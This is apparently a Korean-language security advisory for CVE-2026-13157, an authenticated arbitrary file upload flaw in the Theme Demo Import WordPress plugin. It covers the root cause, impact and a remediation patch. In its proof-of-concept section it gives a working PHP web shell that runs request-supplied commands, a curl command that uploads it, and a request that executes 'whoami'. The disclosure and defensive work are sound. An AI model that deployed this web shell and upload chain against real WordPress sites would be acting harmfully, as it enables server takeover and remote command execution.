
WordPress Theme Demo Import에서 인증된 사용자의 임의 파일 업로드를 통해 PHP 웹쉘로 원격 코드 실행(RCE)을 유발하는 취약점에 대한 개념 증명(PoC) 및 근본 원인 분석입니다.
CVE-2026-13157은 사이버 보안 연구원 Huynh Kien Minh(MinhHK)에 의해 발견 및 분석된, Theme Demo Import WordPress 플러그인 버전 1.1.3 이하에 영향을 미치는 인증된 임의 파일 업로드 취약점입니다. 이 취약점은 AJAX 데모 가져오기 루틴(TDI_import_demo_data)에 존재하며, 해당 플러그인은 업로드 처리 중 표준 WordPress 파일 유형 검증 테스트('test_type' => false)를 명시적으로 비활성화합니다. 기본 사이트 관리자 또는 WordPress 멀티사이트 아키텍처에서 슈퍼 관리자가 아닌 사이트 관리자와 같이 가져오기(import) 권한을 보유한 인증된 사용자는 파일 제한 시행을 우회하여 공개된 wp-content/uploads/ 디렉터리에 임의의 실행 가능한 PHP 스크립트를 직접 업로드할 수 있으며, 이를 통해 지속적인 원격 코드 실행(RCE) 및 완전한 서버 장악을 달성할 수 있습니다.
CVE-2026-13157의 근본 원인은 inc/class-tdi-helpers.php에 구현된 파일 업로드 처리 구조에 있습니다. 데모 데이터 가져오기 작업 중 플러그인은 inc/class-tdi-main.php의 55번째 줄에 등록된 AJAX 엔드포인트를 통해 들어오는 파일 첨부를 처리합니다:
// inc/class-tdi-main.php: Line 55
add_action( 'wp_ajax_TDI_import_demo_data', array( $this, 'import_demo_data_ajax_callback' ) );
업로드된 데모 구성 파일(content_file, widget_file, customizer_file)을 처리할 때 내부 가져오기 메서드는 WordPress wp_handle_upload() API가 파일 MIME 유형 및 폼 검증 검사를 우회하도록 직접 지시합니다:
// inc/class-tdi-helpers.php: Lines 495 - 506
// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
'test_form' => false,
'test_type' => false, // CRITICAL VULNERABILITY: Disables MIME and file extension verification!
);
// Handle demo content and widgets file upload.
$content_file_info = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );
개발자는 $upload_overrides에 'test_type' => false를 전달함으로써 WordPress 핵심 MIME 검증 하위 시스템(wp_check_filetype_and_ext())을 재정의했습니다. 그 직접적인 결과로 애플리케이션은 더 이상 파일 첨부를 안전한 데모 데이터 형식(.xml, .json, .wie, .dat)으로 제한하지 않으며, 설정 페이지에 접근할 수 있는 모든 인증된 사용자가 실행 가능한 PHP 스크립트(.php, .phtml, .phar)를 공개 문서 루트에 직접 업로드할 수 있게 됩니다.
윤리적 연구 고지: 이 개념 증명은 교육적 감사, 방어적 엔지니어링 및 승인된 보안 검증을 위해서만 문서화되었습니다. 운영 중인 시스템에 대한 무단 악용은 금지됩니다.
<= 1.1.3이 실행 중인 WordPress 인스턴스.import 기능을 보유한 인증된 세션 (관리자 / 멀티사이트 사이트 관리자)./wp-admin/themes.php?page=theme-demo-import 페이지 DOM에 JavaScript 객체 속성 tdi.ajax_nonce로 노출된 AJAX 보안 토큰 tdi-ajax-verification을 추출합니다.exploit_webshell.php라는 이름의 로컬 웹 셸 페이로드를 생성합니다:<?php
if(isset($_REQUEST['cmd'])){
system($_REQUEST['cmd']);
} else {
echo "CVE-2026-13157 Exploitation Verified by Huynh Kien Minh!";
}
?>
curl -i -s -X POST "http://<TARGET_HOST>/wp-admin/admin-ajax.php" \
-H "Cookie: wordpress_logged_in_xxxxxx=yyyyyy" \
-F "action=TDI_import_demo_data" \
-F "security=<RETRIEVED_TDI_AJAX_NONCE>" \
-F "content_file=@exploit_webshell.php;type=application/x-php"
GET /wp-content/uploads/2026/08/exploit_webshell.php?cmd=whoami HTTP/1.1
Host: <TARGET_HOST>
단일 사이트 WordPress 설치 환경에서는 표준 관리자에게 서버 환경에 대한 신뢰된 제어 권한이 부여되지만, CVE-2026-13157은 엔터프라이즈 및 멀티사이트 배포 환경에서 중요한 보안 경계 붕괴를 초래합니다:
unfiltered_upload 권한은 네트워크 슈퍼 관리자에게만 부여됨). CVE-2026-13157은 이러한 다중 테넌트 격리를 완전히 무너뜨려, 검증되지 않은 하위 사이트 관리자가 웹 셸을 배치하고 전체 서버 네트워크에서 시스템 명령을 실행할 수 있게 합니다.DISALLOW_FILE_EDIT)을 비활성화합니다. 이 취약점은 플러그인의 기본 파일 전송 메커니즘을 활용하여 쓰기 가능한 볼륨 저장소에 임의의 실행 코드를 직접 기록함으로써 호스팅 제한을 우회합니다.CVE-2026-13157을 안전하게 해결하려면 소프트웨어 유지보수 담당자와 방어 보안 엔지니어는 inc/class-tdi-helpers.php의 업로드 처리 로직에서 엄격한 MIME 유형 및 파일 확장자 검증을 즉시 복원해야 합니다.
안전하지 않은 재정의 'test_type' => false를 제거하고 표준 WordPress 내보내기 구조(text/xml, application/json)로만 엄격히 제한된 허용 목록을 적용합니다:
// Secure Remediation Patch for inc/class-tdi-helpers.php (Lines 495 - 510)
$upload_overrides = array(
'test_form' => false,
'test_type' => true, // Enforce strict core file-type verification
'mimes' => array(
'xml' => 'text/xml',
'json' => 'application/json',
'wie' => 'application/json',
'dat' => 'text/plain',
),
);
// Perform capability check before handling upload
if ( ! current_user_can( 'import' ) ) {
wp_send_json_error( array( 'message' => __( 'Insufficient privileges to perform import.', 'theme-demo-import' ) ), 403 );
}
// Proceed with validated file handling
$content_file_info = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );
**Huynh Kien Minh (MinhHK)**은 공격적 웹 애플리케이션 보안, PHP 애플리케이션 아키텍처 감사 및 엔터프라이즈 익스플로잇 벡터를 전문으로 하는 정보 보안 연구원, 소프트웨어 개발자 및 취약점 분석가입니다. 그의 발견과 기술 권고는 주요 글로벌 취약점 데이터베이스 및 제품 보안 명명 기관에 의해 공식적으로 인정받았습니다.
{
"@context": "https://schema.org",
"@graph": [
{
"@type": "TechArticle",
"@id": "https://github.com/MinhHK68/CVE-2026-13157#article",
"headline": "CVE-2026-13157: Theme Demo Import Arbitrary File Upload & Remote Code Execution Advisory",
"alternativeHeadline": "Technical Deep-Dive and Exploit Analysis for CVE-2026-13157 by Huynh Kien Minh",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-01",
"inLanguage": "en-US",
"description": "Comprehensive security research advisory for CVE-2026-13157 affecting Theme Demo Import WordPress plugin prior to version 1.1.3. Analyzes arbitrary file upload vulnerability via disabled test_type check leading to Remote Code Execution.",
"keywords": ["CVE-2026-13157", "Theme Demo Import", "Arbitrary File Upload", "Remote Code Execution", "RCE", "WordPress Security", "Huynh Kien Minh", "MinhHK", "WPScan"]
},
{
"@type": "SecurityAdvisory",
"@id": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/#advisory",
"identifier": "CVE-2026-13157",
"name": "Theme Demo Import <= 1.1.3 - Admin+ Arbitrary File Upload",
"category": "Arbitrary File Upload / RCE",
"cvssScore": "6.6",
"severity": "Medium",
"softwareVersion": "<= 1.1.3",
"url": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/"
}
]
}
| 매개변수 | 기술 사양 |
|---|
| 취약점 식별자 | CVE-2026-13157 |
| 대상 소프트웨어 | Theme Demo Import (WordPress 플러그인) |
| 플러그인 슬러그 | theme-demo-import |
| 영향을 받는 버전 | <= 1.1.3 |
| 취약점 분류 | 위험한 유형의 파일 무제한 업로드 (CWE-434 / OWASP A03) |
| CVSS v3.1 점수 | 6.6 (중간) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| 발견자 / 연구자 | Huynh Kien Minh (MinhHK) |
| 검증 기관 | WPScan / MITRE Corporation |
| WPScan 권고 URL | https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/ |
| 연구자 포트폴리오 | https://minhhk.web.app/ |